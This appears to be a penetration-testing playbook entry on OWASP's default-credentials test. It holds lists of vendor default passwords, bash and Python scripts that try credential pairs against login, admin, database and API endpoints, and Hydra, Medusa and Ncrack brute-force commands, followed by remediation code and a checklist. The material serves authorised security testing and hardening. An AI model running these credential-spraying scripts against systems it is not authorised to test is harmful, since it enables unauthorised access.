wstg-athn-02

name	wstg-athn-02
description	Testing for Default Credentials
category	authentication
owasp_id	WSTG-ATHN-02
version	1.0.0
author	cyberstrike-official
tags	["authentication","login","credentials","mfa","wstg","athn"]
tech_stack	[]
cwe_ids	["CWE-640"]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-athn-02

Test ID

WSTG-ATHN-02

Test Name

Testing for Default Credentials

High-Level Description

Many applications, devices, and services ship with default or well-known credentials that administrators often forget to change. Attackers can easily find these credentials through documentation, online databases, or simple guessing. This test identifies systems using default credentials that could allow unauthorized access.

---

What to Check

Default Credential Sources

• Application default accounts
• Framework/CMS defaults
• Database default credentials
• Admin panel defaults
• API default tokens
• Third-party component defaults

Common Default Credentials

Application	Username	Password
Tomcat	admin, tomcat	admin, tomcat, s3cret
Jenkins	admin	admin (or no password)
WordPress	admin	admin
Joomla	admin	admin
MySQL	root	(empty), root, mysql
PostgreSQL	postgres	postgres
MongoDB	admin	(no auth by default)
Redis	-	(no auth by default)
Elasticsearch	elastic	changeme

---

How to Test

Step 1: Identify Application/Technology

# Fingerprint the application
curl -sI "https://target.com" | grep -i "server\|x-powered-by"

# Check common paths for admin panels
paths=(
    "/admin"
    "/administrator"
    "/wp-admin"
    "/manager"
    "/phpmyadmin"
    "/console"
    "/login"
)

for path in "${paths[@]}"; do
    status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
    if [ "$status" != "404" ]; then
        echo "$path: $status"
    fi
done

Step 2: Test Common Default Credentials

#!/bin/bash
TARGET=$1
LOGIN_ENDPOINT=${2:-"/login"}

# Common default credential pairs
declare -A credentials=(
    ["admin"]="admin password admin123 123456 administrator"
    ["root"]="root toor password 123456"
    ["user"]="user password user123"
    ["test"]="test test123 password"
    ["guest"]="guest guest123"
    ["administrator"]="administrator admin Admin123"
)

echo "Testing default credentials on $TARGET$LOGIN_ENDPOINT"

for username in "${!credentials[@]}"; do
    for password in ${credentials[$username]}; do
        response=$(curl -s -X POST "$TARGET$LOGIN_ENDPOINT" \
            -H "Content-Type: application/json" \
            -d "{\"username\":\"$username\",\"password\":\"$password\"}" \
            -w "\n%{http_code}")

        status=$(echo "$response" | tail -1)
        body=$(echo "$response" | head -n -1)

        # Check for success indicators
        if [ "$status" == "200" ] && ! echo "$body" | grep -qi "invalid\|error\|fail"; then
            echo "[SUCCESS] $username:$password"
        fi
    done
done

Step 3: Test Technology-Specific Defaults

# Tomcat Manager
curl -u admin:admin "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}"
curl -u tomcat:tomcat "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}"
curl -u admin:s3cret "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}"

# Jenkins
curl -u admin:admin "https://target.com/jenkins/" -s -o /dev/null -w "%{http_code}"

# WordPress
curl -X POST "https://target.com/wp-login.php" \
    -d "log=admin&pwd=admin&wp-submit=Log+In" \
    -s -o /dev/null -w "%{http_code}"

# phpMyAdmin
curl -X POST "https://target.com/phpmyadmin/" \
    -d "pma_username=root&pma_password=&server=1" \
    -s -o /dev/null -w "%{http_code}"

Step 4: Test Database Default Credentials

# MySQL
mysql -h target.com -u root -p'' -e "SELECT 1" 2>/dev/null && echo "MySQL: root with empty password"
mysql -h target.com -u root -proot -e "SELECT 1" 2>/dev/null && echo "MySQL: root:root"

# PostgreSQL
PGPASSWORD=postgres psql -h target.com -U postgres -c "SELECT 1" 2>/dev/null && echo "PostgreSQL: postgres:postgres"

# MongoDB (no auth)
mongosh "mongodb://target.com:27017" --eval "db.adminCommand('listDatabases')" 2>/dev/null && echo "MongoDB: No auth required"

# Redis (no auth)
redis-cli -h target.com PING 2>/dev/null && echo "Redis: No auth required"

Step 5: Test API Default Tokens

# Test common API keys/tokens
tokens=(
    "admin"
    "test"
    "api_key"
    "secret"
    "12345"
    "default"
)

for token in "${tokens[@]}"; do
    response=$(curl -s -H "Authorization: Bearer $token" \
        "https://target.com/api/v1/user" \
        -w "\n%{http_code}")

    status=$(echo "$response" | tail -1)
    if [ "$status" == "200" ]; then
        echo "[VULN] API accepts token: $token"
    fi

    # Also try as API key
    response=$(curl -s -H "X-API-Key: $token" \
        "https://target.com/api/v1/user" \
        -w "\n%{http_code}")

    status=$(echo "$response" | tail -1)
    if [ "$status" == "200" ]; then
        echo "[VULN] API accepts X-API-Key: $token"
    fi
done

Step 6: Check for Vendor Default Credentials

# Use online databases
# https://cirt.net/passwords
# https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials

# Example: Cisco devices
curl -u admin:admin "https://target.com/admin" -s -o /dev/null -w "%{http_code}"
curl -u cisco:cisco "https://target.com/admin" -s -o /dev/null -w "%{http_code}"

# Example: Network devices
curl -u admin:1234 "https://target.com" -s -o /dev/null -w "%{http_code}"
curl -u admin:password "https://target.com" -s -o /dev/null -w "%{http_code}"

---

Tools

Credential Testing

Tool	Description	Usage
Hydra	Password cracker	hydra -L users.txt -P pass.txt target http-post
Medusa	Parallel brute-forcer	medusa -h target -U users.txt -P pass.txt -M http
Ncrack	Network auth cracker	ncrack target -U users.txt -P pass.txt

Default Credential Lists

Resource	Description
SecLists	Default credentials lists
CIRT.net	Default password database
DefaultCreds	Default credential repository

---

Example Commands/Payloads

Default Credential Tester Script

#!/usr/bin/env python3
import requests
import json

class DefaultCredsTester:
    # Comprehensive default credentials database
    DEFAULT_CREDS = {
        "generic": [
            ("admin", "admin"),
            ("admin", "password"),
            ("admin", "123456"),
            ("admin", "admin123"),
            ("administrator", "administrator"),
            ("root", "root"),
            ("root", "toor"),
            ("user", "user"),
            ("test", "test"),
            ("guest", "guest"),
        ],
        "tomcat": [
            ("admin", "admin"),
            ("tomcat", "tomcat"),
            ("admin", "s3cret"),
            ("manager", "manager"),
            ("role1", "role1"),
        ],
        "jenkins": [
            ("admin", "admin"),
            ("admin", "password"),
            ("admin", ""),
        ],
        "wordpress": [
            ("admin", "admin"),
            ("admin", "password"),
            ("admin", "wp-admin"),
        ],
        "joomla": [
            ("admin", "admin"),
            ("admin", "password"),
        ],
        "mysql": [
            ("root", ""),
            ("root", "root"),
            ("root", "mysql"),
            ("root", "password"),
        ],
        "postgresql": [
            ("postgres", "postgres"),
            ("postgres", "password"),
        ],
        "mongodb": [
            ("admin", "admin"),
            ("root", "root"),
        ],
    }

    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.results = []

    def test_http_basic(self, path, creds):
        """Test HTTP Basic authentication"""
        for username, password in creds:
            try:
                response = self.session.get(
                    f"{self.target}{path}",
                    auth=(username, password),
                    timeout=10
                )

                if response.status_code == 200:
                    self.results.append({
                        "type": "HTTP Basic",
                        "path": path,
                        "username": username,
                        "password": password,
                        "status": "SUCCESS"
                    })
                    return True

            except requests.exceptions.RequestException:
                pass

        return False

    def test_form_login(self, path, creds, username_field="username", password_field="password"):
        """Test form-based login"""
        for username, password in creds:
            try:
                response = self.session.post(
                    f"{self.target}{path}",
                    data={
                        username_field: username,
                        password_field: password
                    },
                    allow_redirects=False,
                    timeout=10
                )

                # Check for success indicators
                if response.status_code in [200, 302]:
                    # Check if login succeeded
                    if "dashboard" in response.headers.get("Location", "").lower() or \
                       "invalid" not in response.text.lower():
                        self.results.append({
                            "type": "Form Login",
                            "path": path,
                            "username": username,
                            "password": password,
                            "status": "POSSIBLE SUCCESS"
                        })

            except requests.exceptions.RequestException:
                pass

    def test_json_login(self, path, creds):
        """Test JSON API login"""
        for username, password in creds:
            try:
                response = self.session.post(
                    f"{self.target}{path}",
                    json={"username": username, "password": password},
                    timeout=10
                )

                if response.status_code == 200:
                    try:
                        data = response.json()
                        if "token" in data or "success" in data:
                            self.results.append({
                                "type": "API Login",
                                "path": path,
                                "username": username,
                                "password": password,
                                "status": "SUCCESS"
                            })
                    except:
                        pass

            except requests.exceptions.RequestException:
                pass

    def run_tests(self):
        """Run all default credential tests"""
        print(f"Testing default credentials on {self.target}")

        # Test common paths
        paths = {
            "/manager/html": ("tomcat", "HTTP Basic"),
            "/admin": ("generic", "Form"),
            "/login": ("generic", "Form"),
            "/api/login": ("generic", "JSON"),
            "/wp-login.php": ("wordpress", "Form"),
            "/administrator": ("joomla", "Form"),
        }

        for path, (cred_type, auth_type) in paths.items():
            creds = self.DEFAULT_CREDS.get(cred_type, self.DEFAULT_CREDS["generic"])

            print(f"Testing {path} ({auth_type})...")

            if auth_type == "HTTP Basic":
                self.test_http_basic(path, creds)
            elif auth_type == "Form":
                self.test_form_login(path, creds)
            elif auth_type == "JSON":
                self.test_json_login(path, creds)

        return self.results

    def print_results(self):
        """Print test results"""
        print("\n=== DEFAULT CREDENTIALS TEST RESULTS ===\n")

        if self.results:
            print("[!] POTENTIAL VULNERABILITIES FOUND:\n")
            for result in self.results:
                print(f"  Type: {result['type']}")
                print(f"  Path: {result['path']}")
                print(f"  Credentials: {result['username']}:{result['password']}")
                print(f"  Status: {result['status']}")
                print()
        else:
            print("[+] No default credentials found")

# Usage
tester = DefaultCredsTester("https://target.com")
tester.run_tests()
tester.print_results()

---

Remediation Guide

1. Force Password Change on First Login

from flask import redirect, url_for, session

@app.before_request
def check_password_change():
    if current_user.is_authenticated:
        if current_user.must_change_password:
            if request.endpoint not in ['change_password', 'logout', 'static']:
                return redirect(url_for('change_password'))

@app.route('/change-password', methods=['GET', 'POST'])
@login_required
def change_password():
    if request.method == 'POST':
        new_password = request.form['new_password']

        # Validate password strength
        if not is_strong_password(new_password):
            flash('Password does not meet requirements')
            return render_template('change_password.html')

        # Check it's not the default password
        if new_password in DEFAULT_PASSWORDS:
            flash('Cannot use a common default password')
            return render_template('change_password.html')

        current_user.set_password(new_password)
        current_user.must_change_password = False
        db.session.commit()

        return redirect(url_for('dashboard'))

    return render_template('change_password.html')

2. Remove Default Accounts

-- Remove default accounts from database
DELETE FROM users WHERE username IN ('admin', 'test', 'guest', 'demo');

-- Or disable them
UPDATE users SET active = false WHERE username IN ('admin', 'test', 'guest');

3. Detect and Block Default Credential Usage

DEFAULT_PASSWORDS = {
    'admin', 'password', '123456', 'admin123',
    'root', 'toor', 'test', 'guest'
}

def check_default_password(password):
    """Check if password is a known default"""
    return password.lower() in DEFAULT_PASSWORDS

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    user = User.query.filter_by(username=username).first()

    if user and user.check_password(password):
        if check_default_password(password):
            # Log security event
            log_security_event('default_password_login', username)

            # Force password change
            session['must_change_password'] = True

        login_user(user)
        return redirect(url_for('dashboard'))

    return 'Invalid credentials', 401

4. Installation Security Checklist

## Post-Installation Security Checklist

1. [ ] Change all default passwords
2. [ ] Remove or disable default accounts
3. [ ] Disable installation/setup pages
4. [ ] Remove default API keys/tokens
5. [ ] Change database default credentials
6. [ ] Update default encryption keys
7. [ ] Review and change default configurations
8. [ ] Remove sample/demo content
9. [ ] Disable debug modes
10. [ ] Enable logging and monitoring

---

Risk Assessment

CVSS Score

Finding	CVSS	Severity
Admin access with default credentials	9.8	Critical
Database with default/no password	9.8	Critical
Application default account active	8.8	High
Default API key accepted	8.8	High

Attack Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

---

CWE Categories

CWE ID	Title	Description
CWE-1392	Use of Default Credentials	Default username/password
CWE-798	Use of Hard-coded Credentials	Embedded credentials
CWE-287	Improper Authentication	Authentication bypass

---

References

• OWASP WSTG - Testing for Default Credentials
• CIRT.net Default Passwords
• SecLists Default Credentials

---

Checklist

[ ] Application technology identified
[ ] Admin panel locations found
[ ] Generic default credentials tested
[ ] Technology-specific defaults tested
[ ] Database default credentials tested
[ ] API default tokens tested
[ ] Third-party component defaults tested
[ ] Vendor documentation reviewed
[ ] Online credential databases checked
[ ] All findings documented
[ ] Remediation recommendations provided